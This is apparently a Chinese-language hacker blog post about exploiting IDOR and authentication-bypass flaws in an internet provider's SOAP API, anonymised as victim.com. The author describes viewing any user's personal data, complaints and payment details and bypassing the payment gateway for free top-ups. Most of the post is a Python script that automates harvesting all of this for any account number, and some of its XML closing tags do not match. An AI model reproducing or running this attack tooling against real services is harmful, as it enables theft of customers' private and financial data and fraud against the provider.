如何黑掉我的互联网服务提供商并自动化攻击(以学为攻)
我将使用victim.com作为网站名称,因为无法透露真实名称。
那是一个平常的日子,我正在寻找一些好的互联网套餐,因为我的当前套餐已到期。在查看互联网套餐时,我的浏览器连接了Burp Suite,我注意到HTTP流量进入了Burp历史记录,并发现了一些神秘的端点,还找到了网站的API文档链接。
于是我查看了文档,并开始对API参数进行模糊测试。在花费10-15分钟模糊测试参数后,我发现了一个IDOR(不安全的直接对象引用)漏洞,能够查看任何用户的个人信息。接着我再次阅读API文档,又在应用程序中发现了多个IDOR漏洞:能够查看投诉详情、能够以任何用户身份注册投诉、能够重置任何用户的MAC地址。然后我发现了最严重的问题:能够查看任何用户的支付详情,并能够绕过应用程序的支付网关,免费进行充值。
但即便如此,如果我想执行此攻击,仍然需要登录我的账户。因此场景仍然有限,我希望使此攻击更具严重性。于是我又开始阅读身份验证API文档,发现我能够绕过API的身份验证,无需任何验证即可调用API。
不过,如果我想执行此攻击,仍然需要手动在Burp中拦截流量,并更改不同的API端点以获取此类信息。这有点无聊,所以我决定自动化攻击流程。为此,我编写了一个小的Python脚本,如下所示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
import requests, sys
import xml.etree.ElementTree as ET
uservalue = sys.argv[1]
def details(uservalue):
xml = """<?xml version="1.0" encoding="utf-8" standalone="no"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<victimDetail xmlns="http://victim.com/">
<victimAccNo>{0}</victimAccNo>
</victimCustomerDetail>
</soap:Body>
</soap:Envelope>"""
xml = xml.format(uservalue)
headers = {
'Content-Type': 'text/xml',
'SOAPAction' : 'http://victim.com'
}
body = requests.post('http://victim.com', data=xml, headers=headers).text
xml_parsed = ET.fromstring(body)
root = xml_parsed[0][0][0][1][0][0]
print(" — — — — — — -#################### User Details ####################### — — — — — — — — -")
for element in root:
print(element.tag, '\t\t:\t\t', element.text)
print
def complaint_ticket(uservalue):
xml = """<?xml version="1.0" encoding="utf-8" standalone="no"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<victimTicketDetail xmlns="http://victim.com">
<victim>{0}</victim>
<FromDate>01/01/2016</FromDate>
<ToDate>31/12/2018</ToDate>
</victimBBTicketDetail>
</soap:Body>
</soap:Envelope>"""
xml = xml.format(uservalue)
headers = {
'Content-Type': 'text/xml',
'SOAPAction' : 'http://victim.com'
}
body = requests.post('http://victim.com', data=xml, headers=headers).text
xml_parsed = ET.fromstring(body)
root = xml_parsed[0][0][0][1][0][0]
print(" — — — — — — -#################### Complaint Tickets of User ####################### — — — — — — — — -")
for element in root:
print(element.tag, '\t\t:\t\t', element.text)
print
def payment_details(uservalue):
xml = """<?xml version="1.0" encoding="utf-8" standalone="no"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<victimPayment xmlns="http://victim.com">
<victimID>{0}</victimID>
</victimPayment>
</soap:Body>
</soap:Envelope>"""
xml = xml.format(uservalue)
headers = {
'Content-Type': 'text/xml',
'SOAPAction' : 'http://victim.com'
}
body = requests.post('http://victim.com', data=xml, headers=headers).text
xml_parsed = ET.fromstring(body)
root = xml_parsed[0][0][0][1][0][0]
print(" — — — — — — -#################### Payment Details of User ####################### — — — — — — — — -")
for element in root:
print(element.tag, '\t\t:\t\t', element.text)
print
details(uservalue)
complaint_ticket(uservalue)
payment_details(uservalue)
|
现在自动化已完成,我只需运行Python脚本并提供一个参数,它就能获取任何用户的所有敏感信息。
感谢大家阅读。祝大家有美好的一天。干杯! :)